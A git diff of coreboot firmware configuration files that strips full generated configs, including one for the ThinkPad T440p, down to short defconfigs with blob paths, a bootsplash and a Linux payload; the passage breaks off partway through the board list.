-CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 3607495d0..f79f70240 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -1,699 +1,26 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_ROMSTAGE=y -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="ThinkPad T440p" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T440p" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/haswell" -CONFIG_VGA_BIOS_ID="8086,0416" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x800000 -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="t440p" -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xff7c0000 -CONFIG_DCACHE_RAM_SIZE=0x10000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x2000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t440p/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/t440p/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t440p/gbe.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -# CONFIG_ENABLE_DDR_2X_REFRESH is not set -CONFIG_PCIEXP_AER=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T440p" CONFIG_HAVE_IFD_BIN=y -CONFIG_BOARD_LENOVO_THINKPAD_T440P=y -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# 